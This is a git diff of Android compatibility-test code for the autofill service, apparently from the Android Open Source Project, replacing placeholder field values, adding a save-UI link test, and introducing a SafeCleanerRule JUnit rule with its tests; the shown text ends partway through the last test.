--- a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
@@ -23,6 +23,7 @@
import static android.autofillservice.cts.GridActivity.ID_L3C2;
import static android.autofillservice.cts.GridActivity.ID_L4C1;
import static android.autofillservice.cts.GridActivity.ID_L4C2;
+import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.assertValue;
import static android.autofillservice.cts.Helper.getContext;
@@ -46,7 +47,6 @@
import android.content.IntentSender;
import android.os.Bundle;
import android.service.autofill.FillResponse;
-import android.widget.RemoteViews;
import org.junit.Before;
import org.junit.Rule;
@@ -1310,10 +1310,6 @@
// Set service.
enableService();
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
/**
* 1st partition.
*/
@@ -1322,19 +1318,18 @@
new CannedDataset.Builder()
.setField(ID_L1C1, "l1c1")
.setField(ID_L1C2, "l1c2")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
final CannedFillResponse response1 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth11)
- .setField(ID_L1C1, bogusValue)
- .setField(ID_L1C2, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D1"))
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth12)
- .setField(ID_L1C1, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D2"))
.build())
.build();
@@ -1365,19 +1360,18 @@
final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
new CannedDataset.Builder()
.setField(ID_L2C2, "L2C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response2 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth21)
.setPresentation(createPresentation("P2D1"))
- .setField(ID_L2C1, bogusValue)
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth22)
.setPresentation(createPresentation("P2D2"))
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response2);
@@ -1406,21 +1400,20 @@
new CannedDataset.Builder()
.setField(ID_L3C1, "l3c1")
.setField(ID_L3C2, "l3c2")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
final CannedFillResponse response3 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth31)
.setPresentation(createPresentation("P3D1"))
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth32)
.setPresentation(createPresentation("P3D2"))
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response3);
@@ -1451,19 +1444,18 @@
new CannedDataset.Builder()
.setField(ID_L4C1, "L4C1")
.setField(ID_L4C2, "L4C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response4 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth41)
.setPresentation(createPresentation("P4D1"))
- .setField(ID_L4C1, bogusValue)
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth42)
.setPresentation(createPresentation("P4D2"))
- .setField(ID_L4C1, bogusValue)
- .setField(ID_L4C2, bogusValue)
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response4);
@@ -1496,10 +1488,6 @@
// Set service.
enableService();
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
/**
* 1st partition.
*/
@@ -1508,19 +1496,18 @@
new CannedDataset.Builder()
.setField(ID_L1C1, "l1c1")
.setField(ID_L1C2, "l1c2")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
final CannedFillResponse response1 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth11)
- .setField(ID_L1C1, bogusValue)
- .setField(ID_L1C2, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D1"))
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth12)
- .setField(ID_L1C1, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D2"))
.build())
.build();
@@ -1541,19 +1528,18 @@
final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
new CannedDataset.Builder()
.setField(ID_L2C2, "L2C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response2 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth21)
.setPresentation(createPresentation("P2D1"))
- .setField(ID_L2C1, bogusValue)
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth22)
.setPresentation(createPresentation("P2D2"))
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response2);
@@ -1572,21 +1558,20 @@
new CannedDataset.Builder()
.setField(ID_L3C1, "l3c1")
.setField(ID_L3C2, "l3c2")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
final CannedFillResponse response3 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth31)
.setPresentation(createPresentation("P3D1"))
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth32)
.setPresentation(createPresentation("P3D2"))
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response3);
@@ -1607,19 +1592,18 @@
new CannedDataset.Builder()
.setField(ID_L4C1, "L4C1")
.setField(ID_L4C2, "L4C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response4 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth41)
.setPresentation(createPresentation("P4D1"))
- .setField(ID_L4C1, bogusValue)
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth42)
.setPresentation(createPresentation("P4D2"))
- .setField(ID_L4C1, bogusValue)
- .setField(ID_L4C2, bogusValue)
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response4);
@@ -1683,10 +1667,6 @@
// Set service.
enableService();
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
/**
* 1st partition.
*/
@@ -1700,7 +1680,7 @@
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth12)
- .setField(ID_L1C1, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D2"))
.build())
.build();
@@ -1720,7 +1700,6 @@
final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
new CannedDataset.Builder()
.setField(ID_L2C2, "L2C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response2 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
@@ -1731,7 +1710,7 @@
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth22)
.setPresentation(createPresentation("P2D2"))
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response2);
@@ -1750,14 +1729,13 @@
new CannedDataset.Builder()
.setField(ID_L3C1, "l3c1")
.setField(ID_L3C2, "l3c2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response3 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth31)
.setPresentation(createPresentation("P3D1"))
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setPresentation(createPresentation("P3D2"))
@@ -1783,7 +1761,7 @@
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth41)
.setPresentation(createPresentation("P4D1"))
- .setField(ID_L4C1, bogusValue)
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setPresentation(createPresentation("P4D2"))
@@ -1876,10 +1854,6 @@
// Set service.
enableService();
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
/**
* 1st partition.
*/
@@ -1893,7 +1867,7 @@
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth12)
- .setField(ID_L1C1, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D2"))
.build())
.build();
@@ -1917,15 +1891,14 @@
.setField(ID_L1C1, "2l1c1") // from previous partition
.setField(ID_L2C1, "2l2c1")
.setField(ID_L2C2, "2l2c2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response2 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth21)
.setPresentation(createPresentation("P2D1"))
- .setField(ID_L1C1, bogusValue) // from previous partition
- .setField(ID_L2C1, bogusValue)
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setPresentation(createPresentation("P2D2"))
@@ -1957,23 +1930,22 @@
.setField(ID_L1C2, "3l1c2") // from previous partition
.setField(ID_L3C1, "3l3c1")
.setField(ID_L3C2, "3l3c2")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
final CannedFillResponse response3 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth31)
.setPresentation(createPresentation("P3D1"))
- .setField(ID_L1C2, bogusValue) // from previous partition
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth32)
.setPresentation(createPresentation("P3D2"))
- .setField(ID_L2C2, bogusValue) // from previous partition
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response3);
@@ -2009,7 +1981,6 @@
.setField(ID_L3C1, "4l3c1") // from previous partition
.setField(ID_L3C2, "4l3c2") // from previous partition
.setField(ID_L4C1, "4l4c1")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
new CannedDataset.Builder()
@@ -2022,32 +1993,31 @@
.setField(ID_L1C1, "4L1C1") // from previous partition
.setField(ID_L4C1, "4L4C1")
.setField(ID_L4C2, "4L4C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response4 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth41)
.setPresentation(createPresentation("P4D1"))
- .setField(ID_L1C1, bogusValue) // from previous partition
- .setField(ID_L1C2, bogusValue) // from previous partition
- .setField(ID_L2C1, bogusValue) // from previous partition
- .setField(ID_L2C2, bogusValue) // from previous partition
- .setField(ID_L3C1, bogusValue) // from previous partition
- .setField(ID_L3C2, bogusValue) // from previous partition
- .setField(ID_L4C1, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth42)
.setPresentation(createPresentation("P4D2"))
- .setField(ID_L1C1, bogusValue) // from previous partition
- .setField(ID_L1C2, bogusValue) // from previous partition
- .setField(ID_L2C1, bogusValue) // from previous partition
- .setField(ID_L2C2, bogusValue) // from previous partition
- .setField(ID_L3C1, bogusValue) // from previous partition
- .setField(ID_L3C2, bogusValue) // from previous partition
- .setField(ID_L1C1, bogusValue) // from previous partition
- .setField(ID_L4C1, bogusValue)
- .setField(ID_L4C2, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response4);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
index 5cdcf9b..1cb5942 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
@@ -29,10 +29,20 @@
static final String ID_PRE_LABEL = "preLabel";
static final String ID_PRE_INPUT = "preInput";
+ private static PreSimpleSaveActivity sInstance;
+
TextView mPreLabel;
EditText mPreInput;
Button mSubmit;
+ public static PreSimpleSaveActivity getInstance() {
+ return sInstance;
+ }
+
+ public PreSimpleSaveActivity() {
+ sInstance = this;
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -48,4 +58,22 @@
startActivity(new Intent(this, SimpleSaveActivity.class));
});
}
+
+ FillExpectation expectAutoFill(String input) {
+ final FillExpectation expectation = new FillExpectation(input);
+ mPreInput.addTextChangedListener(expectation.mInputWatcher);
+ return expectation;
+ }
+
+ final class FillExpectation {
+ private final OneTimeTextWatcher mInputWatcher;
+
+ private FillExpectation(String input) {
+ mInputWatcher = new OneTimeTextWatcher("input", mPreInput, input);
+ }
+
+ void assertAutoFilled() throws Exception {
+ mInputWatcher.assertAutoFilled();
+ }
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
index b193ddf..c8815c2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
@@ -15,6 +15,7 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
@@ -24,13 +25,23 @@
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static com.google.common.truth.Truth.assertThat;
+
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
import android.content.Intent;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiObject2;
import android.view.View;
+import android.widget.RemoteViews;
import org.junit.Rule;
+import java.util.regex.Pattern;
+
public class PreSimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
@Rule
@@ -330,4 +341,58 @@
final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_INPUT), "42");
}
+
+ @Override
+ protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
+ startActivity(false);
+ // Set service.
+ enableService();
+
+ final CustomDescription.Builder customDescription =
+ newCustomDescriptionBuilder(WelcomeActivity.class);
+ final RemoteViews update = newTemplate();
+ if (updateLinkView) {
+ update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
+ } else {
+ update.setCharSequence(R.id.static_text, "setText", "ME!");
+ }
+ Validator validCondition = new RegexValidator(mActivity.mPreInput.getAutofillId(),
+ Pattern.compile(".*"));
+ customDescription.batchUpdate(validCondition,
+ new BatchUpdates.Builder().updateTemplate(update).build());
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(customDescription.build())
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPreInput.setText("108");
+ mActivity.mSubmit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Tap the link.
+ final UiObject2 saveUi;
+ if (updateLinkView) {
+ saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD, "TAP ME IF YOU CAN");
+ } else {
+ saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+ final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
+ assertThat(changed.getText()).isEqualTo("ME!");
+ }
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
new file mode 100644
index 0000000..bceb11b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.support.annotation.NonNull;
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.Callable;
+
+/**
+ * Rule used to safely run clean up code after a test is finished, so that exceptions thrown by
+ * the cleanup code don't hide exception thrown by the test body
+ */
+// TODO: move to common CTS code
+public final class SafeCleanerRule implements TestRule {
+
+ private static final String TAG = "SafeCleanerRule";
+
+ private final List<Runnable> mCleaners = new ArrayList<>();
+ private final List<Callable<List<Throwable>>> mExtraThrowables = new ArrayList<>();
+ private final List<Throwable> mThrowables = new ArrayList<>();
+
+ /**
+ * Runs {@code cleaner} after the test is finished, catching any {@link Throwable} thrown by it.
+ */
+ public SafeCleanerRule run(@NonNull Runnable cleaner) {
+ mCleaners.add(cleaner);
+ return this;
+ }
+
+ /**
+ * Adds exceptions directly.
+ *
+ * <p>Typically used when exceptions were caught asychronously during the test execution.
+ */
+ public SafeCleanerRule add(@NonNull Callable<List<Throwable>> exceptions) {
+ mExtraThrowables.add(exceptions);
+ return this;
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ // First run the test
+ try {
+ base.evaluate();
+ } catch (Throwable t) {
+ Log.w(TAG, "Adding exception from main test");
+ mThrowables.add(t);
+ }
+
+ // Then the cleanup runners
+ for (Runnable runner : mCleaners) {
+ try {
+ runner.run();
+ } catch (Throwable t) {
+ Log.w(TAG, "Adding exception from cleaner");
+ mThrowables.add(t);
+ }
+ }
+
+ // And finally add the extra exceptions
+ for (Callable<List<Throwable>> extraThrowablesCallable : mExtraThrowables) {
+ final List<Throwable> extraThrowables = extraThrowablesCallable.call();
+ if (extraThrowables != null) {
+ Log.w(TAG, "Adding " + extraThrowables.size() + " extra exceptions");
+ mThrowables.addAll(extraThrowables);
+ }
+ }
+
+ // Finally, throw up!
+ if (mThrowables.isEmpty()) return;
+
+ final int numberExceptions = mThrowables.size();
+ if (numberExceptions == 1) {
+ throw mThrowables.get(0);
+ }
+ throw new MultipleExceptions(mThrowables);
+ }
+ };
+ }
+
+ private static String toMesssage(List<Throwable> throwables) {
+ String msg = "D'OH!";
+ try {
+ try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
+ sw.write("Caught " + throwables.size() + " exceptions\n");
+ for (int i = 0; i < throwables.size(); i++) {
+ sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
+ final Throwable exception = throwables.get(i);
+ exception.printStackTrace(pw);
+ sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
+ }
+ msg = sw.toString();
+ }
+ } catch (IOException e) {
+ // ignore close() errors - should not happen...
+ Log.e(TAG, "Exception closing StringWriter: " + e);
+ }
+ return msg;
+ }
+
+ // VisibleForTesting
+ static class MultipleExceptions extends AssertionError {
+ private final List<Throwable> mThrowables;
+
+ private MultipleExceptions(List<Throwable> throwables) {
+ super(toMesssage(throwables));
+
+ this.mThrowables = throwables;
+ }
+
+ List<Throwable> getThrowables() {
+ return mThrowables;
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
new file mode 100644
index 0000000..7fc021e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.expectThrows;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+import java.util.List;
+import java.util.concurrent.Callable;
+
+@RunWith(MockitoJUnitRunner.class)
+public class SafeCleanerRuleTest {
+
+ private static class FailureStatement extends Statement {
+ private final Throwable mThrowable;
+
+ FailureStatement(Throwable t) {
+ mThrowable = t;
+ }
+
+ @Override
+ public void evaluate() throws Throwable {
+ throw mThrowable;
+ }
+ }
+
+ private final Description mDescription = Description.createSuiteDescription("Whatever");
+ private final RuntimeException mRuntimeException = new RuntimeException("D'OH!");
+
+ // Use mocks for objects that don't throw any exception.
+ @Mock private Runnable mGoodGuyRunner1;
+ @Mock private Runnable mGoodGuyRunner2;
+ @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions1;
+ @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions2;
+ @Mock private Statement mGoodGuyStatement;
+
+ @Test
+ public void testEmptyRule_testPass() throws Throwable {
+ final SafeCleanerRule rule = new SafeCleanerRule();
+ rule.apply(mGoodGuyStatement, mDescription).evaluate();
+ }
+
+ @Test
+ public void testEmptyRule_testFails() throws Throwable {
+ final SafeCleanerRule rule = new SafeCleanerRule();
+ final Throwable actualException = expectThrows(RuntimeException.class,
+ () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+ assertThat(actualException).isSameAs(mRuntimeException);
+ }
+
+ @Test
+ public void testOnlyTestFails() throws Throwable {
+ final SafeCleanerRule rule = new SafeCleanerRule()
+ .run(mGoodGuyRunner1)
+ .add(mGoodGuyExtraExceptions1);
+ final Throwable actualException = expectThrows(RuntimeException.class,
+ () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+ assertThat(actualException).isSameAs(mRuntimeException);
+ verify(mGoodGuyRunner1).run();
+ verify(mGoodGuyExtraExceptions1).call();
+ }
+
+ @Test
+ public void testTestPass_oneRunnerFails() throws Throwable {
+ final SafeCleanerRule rule = new SafeCleanerRule()
+ .run(mGoodGuyRunner1)
+ .run(() -> { throw mRuntimeException; })
+ .run(mGoodGuyRunner2)
+ .add(mGoodGuyExtraExceptions1);
+ final Throwable actualException = expectThrows(RuntimeException.class,
+ () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+ assertThat(actualException).isSameAs(mRuntimeException);
+ verify(mGoodGuyRunner1).run();
+ verify(mGoodGuyRunner2).run();
+ verify(mGoodGuyExtraExceptions1).call();
+ }
+
+ @Test
+ public void testTestPass_oneExtraExceptionThrown() throws Throwable {
+ final SafeCleanerRule rule = new SafeCleanerRule()
+ .run(mGoodGuyRunner1)
+ .add(() -> { return ImmutableList.of(mRuntimeException); })
+ .add(mGoodGuyExtraExceptions1)
+ .run(mGoodGuyRunner2);
+ final Throwable actualException = expectThrows(RuntimeException.class,
+ () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+ assertThat(actualException).isSameAs(mRuntimeException);
+ verify(mGoodGuyRunner1).run();
+ verify(mGoodGuyRunner2).run();
+ verify(mGoodGuyExtraExceptions1).call();
+ }
+
+ @Test
+ public void testThrowTheKitchenSinkAKAEverybodyThrows() throws Throwable {
+ final Exception extra1 = new Exception("1");
+ final Exception extra2 = new Exception("2");
+ final Exception extra3 = new Exception("3");
+ final Error error1 = new Error("one");
+ final Error error2 = new Error("two");
+ final RuntimeException testException = new RuntimeException("TEST, Y U NO PASS?");
+ final SafeCleanerRule rule = new SafeCleanerRule()
+ .run(mGoodGuyRunner1)
+ .add(mGoodGuyExtraExceptions1)
+ .add(() -> { return ImmutableList.of(extra1, extra2); })
+ .run(() -> {
+ throw error1;
+ })
+ .run(mGoodGuyRunner2)
+ .add(() -> { return ImmutableList.of(extra3); })
+ .add(mGoodGuyExtraExceptions2)
+ .run(() -> { throw error2; });
+
+ final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
